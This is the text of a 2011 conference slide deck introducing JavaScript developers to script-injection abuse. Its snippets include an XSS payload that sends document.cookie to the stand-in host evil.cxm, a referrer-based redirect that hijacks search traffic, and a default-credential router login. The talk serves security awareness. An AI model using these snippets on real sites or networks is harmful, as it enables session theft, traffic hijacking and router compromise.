This was delivered as a talk was given at jsFoo 2011 in Bangalore, India. The presentation is a gentle introduction to JavaScript developers about how devastating JavaScript can be when used in unforseen places. Three main attacks are mentioned. 1. Using JS for cookie stealing. 2. Using JS for stealing Google page rank. 3. Using JS for logging into ADSL routers without any user intervention. Also mentioned is the MySpace XSS worm by Samy Kamkar. A lot of the original research for this has been done by Jeremiah Grossman.

1. JAVASCRIPT goneWILD AkashMahajan | jsFoo 2011

2. WARNING NSFW Don’t say I didn’t warn you. This presentation is Not Safe For Work.

3. Don’t worry I swear this presentation doesn’t have dirty pictures in it. No Dirty Pictures

4. DISCLAIMER Tech Lite This presentation is low on technical content.

5. Why bother? INCEPTION Planting the seed of an idea.

6. What is the idea? JavaScript code showing up in unexpected places can have unintended consequences. Can you have fun and profit from this somehow?

7. Wild Idea #1 Stealing a session cookie <script> ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src","http://evil.cxm/cookiestealer?stolencookie" + document.cookie); document.body.appendChild(ifrm); </script> Firesheep also does session hijacking by stealing cookies in transit.

8. Wild Idea #1.5 One can steal username and password with JS in a login form.

9. Wilder Idea #2 Stealing the Google page rank if(document.referrer == 'google') { varlocationurl = 'http://evil.cxm/google1.php'; location.href = locationurl; } Do you regularly check the link you get from google to your site?

10. Wilder Idea #2.5 What if the JavaScript redirects users to a malicious download page?

11. Wildest Idea #3 Login to an internal ADSL router website using a default username and password. varloginUrl = ‘http://admin:admin@192.168.1.1/’; document.location = loginUrl; Obviously you all have changed the default password long back, right

12. Wildest Idea #3.5 Allowing untrusted code in the browser is not the smartest thing to do.

13. His WILDNESS!!! SamyKamkar wrote JS code to get more friends in MySpace. At one point he had over a millionfriends in less than 24 hours

14. Jumping to conclusions JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside code is allowed execution in the browser is radical and dangerous.

15. PIMPING MYSELF/ QnA AkashMahajan Web Security Consultant http://akashm.com | @makash akashmahajan@gmail.com | 9980527182

16. References, Attribution Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black Hat 2006 conference. http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf Image on slide 13 has been taken from http://www.flickr.com/photos/iscteiul/ . The image is available for reuse under Creative Commons. Some Reference Links JavaScript History Stealing Attack http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html Samy is my Hero – MySpace XSS Worm http://namb.la/popular/tech.html JavaScript to steal session cookies http://jehiah.cz/a/xss-stealing-cookies-101 http://www.go4expert.com/forums/showthread.php?t=17066 http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/ Trailer of the Movie ‘The Dirty Picture’ http://www.youtube.com/thedirtypicturefilm Ending of the movie inception explained. http://screenrant.com/inception-spoilers-discussion-kofi-68330/ 06-Grossman.pdf